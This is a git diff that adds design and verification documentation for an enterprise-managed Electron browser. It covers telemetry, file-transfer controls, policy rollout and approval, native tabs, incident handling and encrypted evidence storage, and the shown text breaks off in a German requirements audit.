"sampleRate": 0.1, + "debugSampleRate": 1, + "maxQueueSize": 512, + "flushIntervalMs": 2000, + "maxRecordAgeMs": 30000, + "exportTimeoutMs": 2000 +} +``` + +Operational mode uses `sampleRate`; debug mode uses `debugSampleRate`. Sampling 1 records every eligible operation within resource limits. Debug does not authorize raw content collection. Queue size is 16–4096 records per signal, export batches at most 128, concurrent active spans at most 128. Records expire after the configured age; exporter requests time out. Excess data is dropped rather than delaying or bypassing a security decision. Frequent configuration changes cannot accumulate unlimited retired SDK generations. + +Collectors require HTTPS, or HTTP to a numeric loopback address for a local collector. URL user information, query parameters and fragments are rejected. There is no environment-selected endpoint or cloud fallback. HTTPS certificate validation is explicitly enabled. Ambient `OTEL_*` headers and resource attributes are excluded; telemetry contains neither environment credentials nor process command lines, hostnames or OS usernames. Redirect responses fail instead of forwarding telemetry to another destination. + +A local collector is the preferred enterprise transport boundary: it can handle customer authentication, mutual TLS, proxy routing, SIEM distribution and retention. Browser OTLP uses Node's controlled HTTP transport, outside website requests. Direct exporter support for enterprise proxy credentials and customer certificate provisioning is not yet implemented. + +## Recorded timing and correlation + +The privileged browser instruments fixed operation families: IPC, local agent actions, management requests, navigation, DNS, outbound requests, local and enterprise inspection, download, clipboard, visual login checks, password fill, AI, network posture, tab and policy operations. Every recorded span has start/end timestamps and measured duration in milliseconds. Nested operations share trace IDs and parent span IDs through an isolated async context. Related diagnostic log records carry the same correlation identifiers. Durable security events may attach these identifiers without attaching content. + +Attributes are explicitly typed and allowlisted: registered operation/component enums, UUID session/device IDs, policy version, bounded byte/count fields, duration, decision, request type and status. Failure spans receive a status and a fixed exception category (`Error`, `TypeError` or `RangeError`), never an exception message or stack. Arbitrary operation names are not recorded. Returned model answers, credential values and inspected content are never inferred as diagnostic attributes. + +Detailed timing within Python parsing, OCR, YARA or model inference is not yet exported as its own child spans; the browser records the local-inspector call boundary. Renderer paint/layout and Chromium internal tracing are also separate future work. This is explicit application instrumentation, not a claim to trace every Chromium function. + +## Lifecycle and security behavior + +Only verified policy configures the provider. Reconfiguration immediately invalidates the old generation, drops queued old records and closes old exporter sockets. Disabling prevents future exporter requests and retries. Bytes already delivered cannot be recalled. Device revocation and expired policy disable diagnostics. A security block under otherwise valid policy can still be observed. + +Export failure never repeats the protected operation, changes its result or authorizes blocked data. Successful and failing functions retain their original results/errors. Normal shutdown attempts a bounded flush; diagnostics are intentionally nondurable and can be lost in a crash. Durable audit and forensic evidence require their separate pipelines. + +## Verification + +`node --test tests/diagnostics.test.mjs` exercises a real local OTLP receiver: parent/child traces, measured durations, correlated logs, typed attributes, password/token/URL/error sentinels absent, environment headers/resources excluded, disable/reconfigure queue invalidation, expiry, bounded batches and failed export without operation retry. + +`node scripts/native-tabs-smoke.mjs` additionally runs the actual production Electron main process with a signed debug policy and a separate local collector. It verifies native IPC/navigation/DNS/request timing, parent/child IDs and correlated logs, preserves the existing all-tab DLP assertions, and checks that centrally revoking the browser stops subsequent diagnostic exports. Evidence is written to `artifacts/native-browser-diagnostics-proof.json` alongside the native tab proof. + +Passwords and access tokens must remain excluded from any future forensic store as well. Selective confidential evidence, encryption, access control and retention are handled independently; enabling operational diagnostics does not enable forensic content retention. diff --git a/docs/file-transfer-controls.md b/docs/file-transfer-controls.md new file mode 100644 index 0000000..7621ad7 --- /dev/null +++ b/docs/file-transfer-controls.md @@ -0,0 +1,11 @@ +# Native transfer type controls + +`fileTransfers.upload` and `fileTransfers.download` independently configure `maxBytes`, `allowTypes`, `blockedTypes`, `blockUnknown`, `blockExtensionMismatch`, `blockMimeMismatch`, and `allowWithoutMalwareScanner` in the signed managed policy. Types are `pe`, `elf`, `macho`, `pdf`, `zip`, `png`, `jpeg`, `gif`, `webp`, `gzip`, `text`, and `unknown`. A blocked type always takes precedence over an allowlist. Empty allowlists do not restrict types. Unknown and mismatch blocks are explicit options to accommodate enterprise compatibility requirements. + +Classification reads actual bounded bytes, never trusts the filename or declared MIME type. Text recognition checks the entire UTF-8 payload for binary control bytes. MZ-family files are identified even if their PE headers are truncated. ZIP and Office OOXML share a container signature; this classifier does not distinguish document subtypes, recursively inspect archive members, prove a media decoder accepts the file, or detect every polyglot. Document extraction, YARA and ICAP remain separate inspection layers. A magic allow verdict is not a security verdict. + +Downloads classify the complete bounded memory buffer before antivirus inspection, file-picker display or destination write. Their released digest remains bound to the exact scanned bytes. Supported document/media signatures additionally require complete contained local DLP extraction; semantic scanning applies when configured. Executable and unknown content may have antivirus coverage without document extraction coverage; configure blocked types or `blockUnknown` for stricter profiles. + +Each enabled malware scanner remains mandatory. YARA can be disabled independently while selected-channel ICAP is enabled. Disabling both does not silently bypass the download gate: an administrator must explicitly set `allowWithoutMalwareScanner: true`, and complete local DLP is still mandatory. This flag cannot override an enabled scanner's outage or failure. + +The helper returns sanitized filename, claimed MIME, detected type, byte count and SHA-256 for protected evidence. Ordinary download audit events carry only bounded byte count, detected type and SHA-256. Native file/data-pipe upload release remains blocked until immutable scanning and transport binding can be proved. Classification of a multipart request envelope does not prove classification of its individual attachments. diff --git a/docs/group-policy-rollout.md b/docs/group-policy-rollout.md new file mode 100644 index 0000000..4dbec1d --- /dev/null +++ b/docs/group-policy-rollout.md @@ -0,0 +1,24 @@ +# Device groups and reviewed rollouts + +The company policy is the mandatory baseline. Device groups can add blocked hosts, blocked content, company bookmarks, hidden/locked settings and mandatory document analysis; they can disable downloads, AI and local agents. Groups cannot turn off baseline controls, replace a block list or enable a feature denied by the company policy. + +An administrator selects explicit device members. A pilot or expanded rollout selects a nonempty subset of those members; an all-members rollout applies to every selected member. There is no time-based or automatic promotion. Adding members, editing restrictions, changing the cohort and deleting a group are reviewed publication operations. When independent approval is required, the author cannot approve their own operation; the approved hash binds the complete group payload and the expected global generation. + +Every publication increases the shared policy version. Each device receives a signed policy with its device ID and effective group IDs; Chromium enforcement, the AI gateway and bookmark mutation endpoints all use that effective policy. Conflict resolution is deterministic: groups are applied in ID order, block/section lists are unions and disabling controls win. Different definitions of the same company bookmark ID cause publication to fail. Group bookmarks cannot collide with the selected devices' personal bookmarks. Oversized merged policies also fail publication. + +Policy history stores group configuration at each published generation. Restoring a historical version restores its cohorts and restrictions as a new, reviewed generation; it does not roll device versions backwards. History predating group snapshots is refused when restoring it could silently discard active groups. + +## API + +- `GET /api/admin/policy-groups`: current version, groups and per-device membership/effective-group/version reports. +- `PUT /api/admin/policy-groups/:id`: `{expectedVersion,group}` where the group contains `id`, `name`, `memberDeviceIds`, `restrictions` and `rollout:{stage,deviceIds}`. +- `DELETE /api/admin/policy-groups/:id`: `{expectedVersion}`. +- `POST /api/admin/policy-groups/preview`: `{deviceId,group?}`; returns the resulting policy, group IDs, baseline diff and current-policy diff without publishing. + +Publication and deletion require policy-write authority, or policy-prepare authority when mandatory independent review is enabled. Read and preview require policy-read authority. `202` means queued for review, not applied. Version conflicts return `409`. + +## Verification and boundaries + +`tests/policy-groups.test.mjs` checks signed pilot/control behavior, promotion, removal, restrictive merge order, review/self-approval/revoked-device failures, permissions, preview, bookmark conflicts, historical restoration and actual gateway/bookmark endpoint enforcement. + +Acknowledgment is a device's reported policy version equal to the target version. It is not remote attestation and does not prove endpoint health. The last-seen timestamp is displayed separately. Membership currently uses explicitly enrolled device IDs; dynamic IdP/SCIM department membership, percentage rings, automatic health gates and tenant isolation require further implementation. diff --git a/docs/immutable-upload-feasibility.md b/docs/immutable-upload-feasibility.md new file mode 100644 index 0000000..fee480d --- /dev/null +++ b/docs/immutable-upload-feasibility.md @@ -0,0 +1,32 @@ +# Immutable native upload binding: Electron 44.7 feasibility + +This proof is **not a production upload implementation**. Existing managed browser file/data-pipe upload rejection must remain in place. + +Run `node scripts/immutable-upload-probe.cjs`. It launches a finite, hidden, CPU-rendered, sandboxed Electron fixture against a loopback HTTP receiver. No managed browser configuration, actual credentials, OS clipboard, or website code is changed. The fixture uses a real HTML file input populated through test-only native CDP, then submits Chromium-generated multipart FormData. + +## Evidence + +`artifacts/immutable-upload-probe.json` records: + +- `requestBodyAvailable: true`: `session.protocol.handle('http')` exposes the real multipart file stream through `Request.arrayBuffer()`. +- `mutatedAfterSnapshot: true`: the disk fixture is replaced after body capture and before forwarding. +- `exactBytes: true`: receiver SHA-256 equals inspected snapshot SHA-256; receiver contains the original bytes and excludes the replacement bytes. +- `credentialsPreserved: false`: both renderer `credentials: 'include'` and `credentials: 'omit'` become protocol requests reporting `credentials: 'same-origin'`, with no Cookie header. Forwarding through the same session attaches its synthetic session cookie to both. The original credential choice cannot be inferred from these fields. +- `redirectDenied: true`: forwarding with `redirect: 'error'` denies a 307 and never reaches the redirect destination. Transparent redirect compatibility is therefore not established. + +The cookie behavior is a security blocker for a transparent HTTP(S) protocol bridge. The proof deliberately asserts this limitation rather than presenting a passing byte comparison as sufficient approval to ship. + +## Compatibility and security boundaries + +Electron documents that protocol requests include a trusted `initiatorOrigin`. This establishes the requesting origin; it does not recover the original Fetch credential mode, top-level site cookie context, authenticated request semantics, redirect chain, or full request policy context. + +CORS preservation has **not been demonstrated**. Browser preflight handling, credential-dependent `Access-Control-Allow-Origin` rules, opaque responses, response URL/type, frame/site cookie partitioning, authentication challenges, and service-worker paths require separate receiver-based tests and implementation support. They must not be inferred from same-origin multipart success. Electron explicitly documents incorrect response `.type` and `.url` for `session.fetch`, and says bypassing custom protocols still invokes `webRequest` handlers. Consequently an integration also needs safe request identity and recursion handling; a broad trusted forwarding bypass would weaken existing enforcement. + +The anonymous-only fallback was not implemented. A deployable solution must preserve original Chromium request semantics and bind the scanner decision to immutable bytes, destination, policy version, identity, and request context. Native Chromium interception or a verified native network integration remains required before file/data-pipe upload support can be enabled. + +## Primary references + +- [Electron protocol.handle documentation](https://www.electronjs.org/docs/latest/api/protocol#protocolhandlescheme-handler): protocol request body and trusted initiator origin. +- [Electron session.fetch documentation](https://www.electronjs.org/docs/latest/api/session#sesfetchinput-init): Chromium network stack, response limitations, custom-protocol bypass and continuing webRequest callbacks. + +This test concerns one in-memory multipart upload. It does not prove full DLP coverage for streaming, WebSockets, WebRTC, browser uploads, or downloads. diff --git a/docs/incident-management.md b/docs/incident-management.md new file mode 100644 index 0000000..eede672 --- /dev/null +++ b/docs/incident-management.md @@ -0,0 +1,18 @@ +# Incident management + +The central HTTPS admin console provides a case workflow alongside the immutable security event stream. Administrators and operators can create one case per existing event, assign a subject identifier, set severity, investigate, resolve, dismiss or reopen. Auditors can read cases and their history but cannot mutate them. Unknown methods, including deletion, are denied by the central permission middleware. + +Endpoints: +- `GET /api/admin/incidents`: bounded descending pagination (`limit` 1–100, `before` numeric case cursor), optional status and severity filters. +- `POST /api/admin/incidents`: `{eventId, severity?}`; returns a stable UUID and revision 1. Missing events return 404, duplicate event references return 409. Case audit events cannot recursively create cases. +- `GET /api/admin/incidents/:id`: current metadata and bounded immutable history. +- `PATCH /api/admin/incidents/:id`: `{expectedRevision, status?, severity?, assignee?, comment?}`. Stale revisions return 409; clients must refresh and deliberately reapply their changes. + +Allowed statuses are `open`, `investigating`, `resolved`, `dismissed`; severities `low`, `medium`, `high`, `critical`. Assignments are explicit SSO subject identifiers, not a verified directory picker; all control characters are forbidden. Empty assignments use null. Analyst notes are limited to 1,000 characters and reject control characters. A case is limited to 1,000 history entries; further edits fail closed rather than truncating evidence. + +Cases reference existing events without copying document or prompt contents. Their source event view allowlists decision, rule, policy version, destination host, severity, source reference, content type, classification and coverage metadata. Arbitrary event payload fields are excluded. Every successful mutation atomically updates the compare-and-swap revision, appends an immutable history entry and records an audit event. Analyst notes remain in the restricted case history; ordinary security events, ECS/CEF and telemetry receive only their character count. Hashes of notes are deliberately excluded because predictable text could be guessed. Notes must contain investigation summaries, not document excerpts, prompts, credentials or secrets; free text cannot automatically guarantee this constraint. + +Initial audit retention preserves every incident source event, including resolved cases. There is no case deletion, case expiry, automatic case generation, notifications, external ticket integration, evidence attachment storage or directory synchronization. These require separate deployment policy and implementation. The current SQLite administration database needs a protected service account, backups, explicit access permissions and deployment retention arrangements. + +Evidence: `node --test tests/incidents.test.mjs` exercises real HTTP routes, role separation, bounded metadata/notes, immutable source events, duplicate rejection, optimistic concurrency, reopening, filters and pagination. + diff --git a/docs/media/screenshots/README.md b/docs/media/screenshots/README.md new file mode 100644 index 0000000..43c3b4b --- /dev/null +++ b/docs/media/screenshots/README.md @@ -0,0 +1,8 @@ +# Screenshot provenance + +These images contain synthetic fixtures only. They do not contain employee browsing, company documents, authentication tokens or production device inventory. + +- browser-light.png and browser-dark.png: captured from the real trusted shell by `npm run preview:ui`, using isolated showcase state. They demonstrate appearance rather than real website enforcement. +- admin-profiles.png: captured by `scripts/profiles-admin-smoke.cjs` during the real custom-profile management workflow against a temporary synthetic management service. + +The browser footer was refreshed to reflect independent native tab contexts. Regenerate browser captures with `npm run preview:ui`; inspect the output before copying it here. Never copy production screenshots without reviewing their visible content. diff --git a/docs/media/screenshots/admin-profiles.png b/docs/media/screenshots/admin-profiles.png new file mode 100644 index 0000000..60f796c Binary files /dev/null and b/docs/media/screenshots/admin-profiles.png differ diff --git a/docs/media/screenshots/browser-dark.png b/docs/media/screenshots/browser-dark.png new file mode 100644 index 0000000..a99223a Binary files /dev/null and b/docs/media/screenshots/browser-dark.png differ diff --git a/docs/media/screenshots/browser-light.png b/docs/media/screenshots/browser-light.png new file mode 100644 index 0000000..09d17d6 Binary files /dev/null and b/docs/media/screenshots/browser-light.png differ diff --git a/docs/native-tabs-integration.md b/docs/native-tabs-integration.md new file mode 100644 index 0000000..d24879f --- /dev/null +++ b/docs/native-tabs-integration.md @@ -0,0 +1,22 @@ +# Native tabs: implementation and security integration + +`apps/browser/tab-registry.cjs` supplies native view ownership, UUID sessions, lookup by WebContents ID, per-tab navigation and visual state, bounded capacity, context snapshots, all-tab quarantine and explicit destruction. Seven lifecycle/security tests pass. It is a foundation, **not yet wired into the running browser**. + +## Exact integration map + +1. **main.cjs globals / startup (currently lines 12, 55, 364):** replace the single `view` plus global visual fields with registry records. The injected factory creates each `WebContentsView` with the existing sandboxed session and site preload. Before any HTTP navigation, install native site hooks, clipboard controls and `attachPageClipboardGuard`; initialise about:blank and await guard readiness. Failure quarantines every tab and closes the affected view. Store one visual scanner per record; capture/describe closures must close over that record rather than the active view. +2. **hooks() (currently lines 277–340):** split session hooks, installed exactly once, from `installSiteHooks(tab)`, installed for every newly created WebContents. Resolve visual checks via `details.webContentsId`; unknown or destroyed tab requests fail closed. Requests with no page identity, including permitted service-worker traffic, still receive destination/body/DNS enforcement and may never inherit foreground visual approval. `will-download` must capture the originating tab; current `getContext()` always uses the active single view and rejects legitimate background downloads. Change download gate to accept an explicit origin context with captured native identity; require both policy and registry context before scan/save/release. +3. **navigation/layout/theme/state (lines 116–126, 195, 227):** native `create`, `activate`, `close` IPC returns authoritative `tabs`/`activeTabId`. Navigation targets a validated UUID and never reloads on activation. All main-frame navigations, including same-document changes, invalidate that record's navigation token. Theme/title events update their own tab only; active chrome takes that record's color. Attach only the active child view, leave others alive and hidden. Quarantine stops every WebContents; policy resume revalidates destinations and visual protection for every tab before the relevant page is displayed, rather than reloading only the active page. Policy restrictions close DevTools for all tabs. +4. **clipboard / password fill / link inspection (lines 367, 418, 465):** resolve native source WebContents through registry. Foreground-only actions require the same captured tab ID, native object, URL, navigation counter, policy version and activation epoch across asynchronous inspection. Switch-away-and-back must invalidate the old operation even at the same URL. UI clipboard remains a separate trusted-chrome context. Password fill and AI page-linked work must bind a captured tab rather than reading the global active view after `await`. +5. **visual/content IPC (lines 384, 386, 484):** resolve sender WebContents to a tab; require sender's own main frame and current URL/token/revision. An event from hidden tab B must never alter tab A's scanner or approval. A block can remain whole-browser quarantine initially, but must store the offending tab and must not be cleared by selecting another tab. Policy revocation/security failure always quarantines all tabs. +6. **agent-adapters.cjs and main startAgents():** replace hardcoded `managed` with opaque UUID IDs returned by native session inventory. `getContext(args.sessionId)` resolves explicit tab identity; absent ID may choose foreground once at operation start, then must be pinned. Navigation callback accepts that captured tab; read/click/type and visual checks refer to it throughout. Background read may be separately authorized; interaction should require foreground activation unless a deliberate policy and UX permit background interaction. Agent host authorization uses the requested target tab, not the active page. Changes in navigation or policy invalidate async read/AI results. Agent session listing requires its scope but cannot require a navigated active HTTP page; otherwise an empty start page cannot discover populated background tabs. +7. **preload.cjs / renderer.js (lines 2, 19–21):** expose fixed tab-create/activate/close calls only to trusted chrome. Remove renderer-owned UUID creation and navigation-on-select. Render authoritative native state; renderer tab groups use centrally bounded strings accepted by native module. Browser back/forward/reload target active native history. Close-last-tab creates a fresh guarded start tab. Correct overview and sidebar updates without stale async UI writes. +8. **shutdown (lines 509–530):** detach guards and close every WebContents explicitly, even hidden tabs; close registry before window teardown. A page cannot veto destruction with beforeunload. Never preserve live WebContents or credentials in renderer localStorage. + +## Required native proof before claiming tabs complete + +Use real Electron views and controlled HTTP pages. Page A retains DOM/input/scroll and its own back/forward history while B navigates and switches; no reload counter increments on selection. Hold asynchronous clipboard inspection, switch A→B→A, then verify no clipboard release or DOM mutation; repeat password fill and agent read. A hidden-tab phishing or content event must not approve another tab. Malicious/blocked background upload and download must be blocked. Revoke or expire policy while two views issue requests: both must stop and none may transmit. Close a tab during an agent action: the action cannot return its content. Validate actual main-frame and subframe preload guard installation for each new view. These native proofs complement, rather than replace, registry unit tests. + +## API evidence + +Electron documents multiple independent child [WebContentsViews](https://www.electronjs.org/docs/latest/api/web-contents-view), [navigation history per WebContents](https://www.electronjs.org/docs/latest/tutorial/navigation-history), and [explicit WebContents disposal responsibilities](https://www.electronjs.org/docs/latest/api/base-window). Same browser session intentionally shares enterprise cookies/proxy/network policy; independent tabs do not imply separate user profiles or tenant sessions. diff --git a/docs/native-tabs.md b/docs/native-tabs.md new file mode 100644 index 0000000..cb9a24b --- /dev/null +++ b/docs/native-tabs.md @@ -0,0 +1,27 @@ +# Native browser tabs + +The privileged Electron process owns each tab's UUID, `WebContentsView`, navigation history and security state. The trusted shell renders snapshots and invokes fixed operations; it never allocates tab identities or reloads a URL merely to select a tab. All site views remain sandboxed, without Node or a bridge to management IPC. + +`managed:tab-create`, `managed:tab-activate`, `managed:tab-close` and `managed:tab-group` return authoritative browser state. Navigation accepts `{url, tabId}` so an address submission is bound to its selected native tab. Group edits repeat centrally managed library permissions in the privileged process. Every state snapshot carries a monotonic `tabsRevision`; the shell rejects delayed responses older than the state already displayed. + +A new tab starts as a guarded blank view. Its native clipboard primitive guard is installed before website navigation. The last tab closes its actual contents and is replaced with a new guarded start page. Switching tabs preserves document state and history. The shared managed browsing session keeps the existing company cookie/session behavior; separate tabs are not separate identity containers. + +Network enforcement belongs to the managed session and identifies the originating native contents. Background requests therefore pass the same DLP and policy gates. Clipboard operations, vault fill and other foreground actions need the current tab context; the trusted shell does not expose arbitrary JavaScript or CDP to pages or agents. + +## Verified evidence + +Run `node scripts/native-tabs-smoke.mjs` for the isolated Windows/Electron proof using the actual production main process. It verifies: + +- Two distinct native contents through real chrome New Tab, address submission and tab selection. +- Preserved input values and scroll position, with a receiver counter proving that selection does not reload the original page. +- Independent back histories. Controlled link activation uses Electron's user-gesture flag, matching Chromium's rule that unactivated programmatic history entries may be skipped by Back. +- Secret POST blocking and denied page clipboard writes in both foreground and background contents. +- No Node or privileged bridge in either remote website. +- Destruction of closed contents and a guarded replacement when the last tab closes. +- Central device revocation followed by denied public POST attempts from both surviving views. The controlled receiver records no blocked POST. + +The proof writes `artifacts/native-tabs-proof.json`, `artifacts/native-tabs-receiver-proof.json` and a screenshot. Private CDP guards are detached only after all assertions, when the test exits; the fixture does not weaken production enforcement. It never writes to the OS clipboard. + +`node scripts/ui-showcase.cjs` separately verifies the real chrome renderer with a clearly synthetic native-state fixture: eight light/dark/compact/settings/sidebar/vault captures, live policy locks and hidden settings, and delayed navigation while creating a new tab. This showcase is visual evidence, not evidence of native website enforcement. + +Persistent session restoration, separate identity containers, tab drag/reordering and performance suspension of inactive tabs remain separate future work. File/data-pipe upload limitations and other documented DLP coverage boundaries still apply to every tab. diff --git a/docs/policy-review.md b/docs/policy-review.md new file mode 100644 index 0000000..fada014 --- /dev/null +++ b/docs/policy-review.md @@ -0,0 +1,19 @@ +# Independent policy approval + +Set `REQUIRE_INDEPENDENT_POLICY_APPROVAL=true` on the management server. This deployment control is outside signed browser policy, so neither a policy draft nor a restored version can disable it. The example deployment enables it. Absent configuration remains false for existing local development fixtures. + +With the control enabled, global policy changes, teaching publication, blocklist changes, individual device document-scan changes, and historical restoration all create durable pending reviews and return HTTP 202. Nothing is signed or applied until a different authenticated administrator approves. Operators can prepare changes; auditors can inspect; only administrators can approve or reject. The same subject cannot review its own change, even if its role changes. + +Each review freezes the normalized full policy, operation, expected current version and SHA-256 payload hash. Approval must present the displayed hash and expected version. Inside one SQLite write transaction the server verifies integrity, current policy version, expiry, bookmark consistency, applicable device/teaching state, then publishes a new monotonic version and applies associated effects. Changed policy versions make older drafts stale; the server never silently rebases them. Repeated approvals and changed hashes are rejected. + +Review APIs: + +- `GET /api/admin/policy-reviews`: latest 100 reviews, status and deployment requirement. +- `GET /api/admin/policy-reviews/:id`: immutable candidate, operation and bounded diff against current policy. +- `POST /api/admin/policy-reviews` with `{policy}`: explicit review preparation. +- `POST /api/admin/policy-reviews/:id/approve` with `{payloadHash,expectedVersion,approve:true}`. +- `POST /api/admin/policy-reviews/:id/reject` with `{payloadHash,reject:true}`. + +Ordinary publication endpoints return `{reviewRequired:true,reviewId,status:"pending",expectedVersion,payloadHash}` instead of a new published version when approval is mandatory. Review audit records contain subjects, IDs, versions and hashes, without policy values or document content. Policy/review storage itself contains sensitive policy configuration and must be protected as management data. + +Tests in `tests/policy-review.test.mjs` cover author/role separation, hash mismatch, stale versions, rejection, repeat publication, queue integrity corruption, and every alternative publication entry point including atomic teaching and device effects. Production operation still requires separate real SSO identities and protected management access; a shared loopback development bootstrap identity cannot demonstrate independent approval. diff --git a/docs/protected-evidence.md b/docs/protected-evidence.md new file mode 100644 index 0000000..244f93a --- /dev/null +++ b/docs/protected-evidence.md @@ -0,0 +1,27 @@ +# Protected security evidence + +Security analysts need attributable facts, including potentially confidential content. These facts belong in a separately encrypted evidence store, not unrestricted OpenTelemetry attributes or ordinary SIEM payloads. Operational traces remain separate and can refer to an evidence ID. + +## Implemented server boundary + +`POST /api/device/evidence` authenticates an enrolled, non-revoked device and requires an existing source event UUID belonging to that device. Supported typed records are download source URL, filename, MIME, SHA-256, size and decision; or interaction page URL, action, bounded target details and optionally selected text. No arbitrary JSON, full documents, password fields, authorization fields, cookies or credential-bearing URL are accepted. URLs exclude queries and fragments. Interaction callers must assert `sensitiveField: false`; the future browser capture path must enforce this authoritatively rather than trust page JavaScript. + +Before encryption, a bounded second check rejects recognizable credentials in selected text, target labels, filenames and source/page URL paths, including decoded paths. It detects private-key headers, Bearer/Basic authorization, assigned password/API-key/access-token/refresh-token/client-secret values, common OpenAI/GitHub/AWS key formats and JWT-shaped tokens. General confidential company text remains eligible for protected evidence. This is not proof that every unknown password or secret can be recognized: an arbitrary password without context is indistinguishable from ordinary text. Native capture must exclude password and authentication controls independently; the client-provided `sensitiveField` bit alone is insufficient. + +Each record is encrypted with AES-256-GCM and a fresh random 96-bit nonce. Authenticated associated data binds format, record ID, source event, device, type, key ID, creation and expiry. SQLite stores ciphertext and metadata only. Source/type uniqueness prevents duplicate replacement. Record insertion and metadata-only audit are transactional. Failure to persist the audit rolls back the insert. + +`GET /api/admin/evidence/:id?reason=investigation` requires the explicit `evidence.read` permission, currently assigned only to administrators. Operators and auditors cannot read plaintext. Reasons are the enums `investigation`, `incident-response`, `compliance`. A durable attributable access audit must succeed before a response is returned. Neither plaintext nor free-form reasons appear in ordinary audit logs. HTTP responses inherit no-store, no-referrer and authentication controls. + +## Deployment + +Configure `EVIDENCE_KEY_FILE` with an absolute path to an independently generated binary file containing exactly 32 random bytes. Never put the key in SQLite, source control, command-line arguments or telemetry. The deployment operator must restrict Windows ACLs to the management service identity and designated recovery custodians. Linked paths are rejected; Unix deployments also reject group/other file permissions. A configured invalid or unreadable key fails startup. Without a configured key, evidence submission and reads return 503. This is intentional, not a plaintext fallback. + +`EVIDENCE_RETENTION_DAYS` defaults to 30 and must be 1–365. Expired evidence cannot be read unless its source event belongs to an open or investigating incident. Audit retention preserves evidence source events. Physical ciphertext deletion is not automated in this initial version: expiry limits access but does not claim storage erasure. Key rotation, HSM/KMS custody, cryptographic erasure, legal holds and tested backup/recovery remain production work. Replacing the key without retaining its old version makes old records unreadable; their key IDs are checked explicitly. + +## Scope and validation + +This implements the server storage and access boundary, not browser human-click capture, settings to enable collection, client delivery or an analyst UI. These must use signed central policy, keep password/authentication fields excluded, bind events to native browser context and label partial coverage. An enrolled device is an authenticated reporter, not proof its endpoint was uncompromised. + +`tests/evidence.test.mjs` uses real HTTP and SQLite to verify ciphertext storage, role denials, source ownership/type validation, password/token field and credential-URL rejection, replay rejection, missing-key behavior, authenticated metadata tamper rejection, audit-failure rollback, plaintext response suppression and retention correlation. + +The credential-content test additionally verifies that recognizable secrets in free text, labels, filenames and encoded paths return 400 without inserting any evidence rows, while confidential engineering text is accepted. diff --git a/docs/requirements-audit.md b/docs/requirements-audit.md new file mode 100644 index 0000000..7a37a2f --- /dev/null +++ b/docs/requirements-audit.md @@ -0,0 +1,144 @@ +# S Browser: Anforderungsabgleich und offene Arbeit + +Stand: 2026-10-13. Diese Prüfung vergleicht die Anforderungen aus dem Chat mit vorhandenem Quellcode und benannten Testfällen. Ein vorhandener Test ist ein begrenzter Nachweis für sein Szenario, kein Sicherheitszertifikat. Laufende Änderungen anderer Agenten müssen nach Integration erneut geprüft werden. + +## Ziel + +Windows zuerst: einen zentral verwalteten Browser mit lokaler Inhaltsprüfung, freigegebenem KI-Zugang und einer verständlichen, abgesicherten Admin-Weboberfläche liefern. Vor einer Produktionsfreigabe müssen die unten genannten Sicherheits- und Betriebsgrenzen geschlossen oder ausdrücklich im erlaubten Produktumfang ausgeschlossen sein. + +## Statusmatrix + +| Anforderung | Stand | Nachweis und verbleibende Grenze | +|---|---|---| +| Chromium/Electron, Windows-Build | Teilweise | `apps/browser/main.cjs`, `scripts/package.mjs`, `scripts/verify-package.mjs`; sandboxierter Electron-Browser und geprüftes unpacked Windows-Paket. Kein eigener Chromium-Fork mit umfassenden nativen DLP-Hooks; kein signierter Produktionsinstaller oder Updatekanal. | +| Safari-artige Oberfläche, Light/Dark, Themes, kompakte/getrennte Tabs | Umgesetzt für Browser-Chrome | `apps/browser/index.html`, `style.css`, `renderer.js`, `scripts/ui-showcase.cjs`, `artifacts/sbrowser-ui-layout.json`. Websiteinhalte werden nicht umgestaltet. Echte native Tabs mit eigener DOM-/Scroll-/History-/Security-State-Verwaltung sind jetzt integriert; Tabwechsel lädt nicht neu. Tatsächliche DLP-/Revocation-Prüfung in `artifacts/native-tabs-proof.json`. Gemeinsame Unternehmens-Cookies bleiben absichtlich geteilt. | +| White Label | Teilweise | Zentrale Marke/Farbe in `packages/core/policy.mjs`; Paketprodukt/App-ID in `scripts/package.mjs`. Eigene Icons, rechtliche Hinweise, signierte Kundendistribution und vollständige Asset-Themes fehlen. | +| Zentrale Verwaltung und erzwungene/verborgene Einstellungen | Umgesetzt für unterstützte Einstellungen | `packages/core/managed-settings.mjs`, `apps/browser/managed-settings.cjs`, `main.cjs`, `tests/managed-settings.test.mjs`, `scripts/managed-settings-smoke.mjs`. Native IPC prüft Berechtigungen; UI-Verstecken ist nicht die Autorität. Lokale Administratoren/OS-Manipulation bleiben außerhalb dieser Garantie. | +| Sichere Policy-Verteilung | Teilweise | `packages/core/policy-channel.cjs`, `apps/server/policy-channel.mjs`, `apps/browser/management-channel.cjs`, `tests/policy-channel.test.mjs`: ML-KEM-1024/AES-GCM und ML-DSA/Ed25519, Replay-/Versions-/Ablaufprüfung. HTTPS und unabhängiges initiales Pinning bleiben nötig. Kein HSM, Schlüsselrotation oder unabhängiges Kryptografieaudit; keine behauptete „doppelt quantensichere“ Zertifizierung. | +| SSO | Teilweise | `apps/server/auth.mjs`, `tests/server.test.mjs`: OIDC-PKCE, Signatur/Issuer/Audience/Nonce, Admin-Gruppen. Mock-IdP getestet; echter Kunden-IdP noch nicht integriert. Drei serverseitige Managementrollen (Admin, Operator, Auditor) aus OIDC-Gruppen in `apps/server/admin-access.mjs`; kein direktes SAML/SCIM. Remote-Shared-Bootstrap-Token wird verweigert; Bootstrap nur HTTP-Loopback. | +| Admin-Management-Oberfläche | Teilweise | `apps/server/public/index.html`, `admin.js`, `style.css`; funktionierende Enrollment-, Policy-, Integrations-, Teaching-, Bookmark- und Event-Formulare. `scripts/enterprise-admin-smoke.mjs`, `scripts/bookmarks-admin-smoke.mjs`. In dieser Iteration ergänzt: gruppierte Navigation, Fleet-/Auditfilter, Draft-/Änderungsprüfung, Dark/Light-Konsole, responsive Layouts und rollengerechte Aktionen. Tatsächliche Electron-DOM-/Screenshot-Proofs in `artifacts/enterprise-admin-proof.json` und `admin-console-*.png`. Gruppen-/Pilotverwaltung, effektive Vorschau, Versionsmeldungen und verpflichtende Zweitfreigabe sind inzwischen mit echten UI-Proofs ergänzt. Incident-Verwaltung mit Rollen, Verlauf, Zuständigkeit und Revisionsprüfung ist ergänzt und im echten UI geprüft. Einige Security-/Agentenfelder bleiben Advanced JSON; externe Tickets, automatische Fälle und vollständiger Daten-Lifecycle bleiben offen. | +| Fleet, Gruppen, Rollout | Teilweise | Gerätebestand, widerrufbare Credentials, globale signierte Policy, per-Gerät Dokument-/Bookmark-Steuerung und serverseitige Rollen vorhanden. `policy-history.mjs` liefert Historie/Diff/Restore als neue Version. `policy-review.mjs` erzwingt bei aktiviertem Deploymentflag unterschiedliche 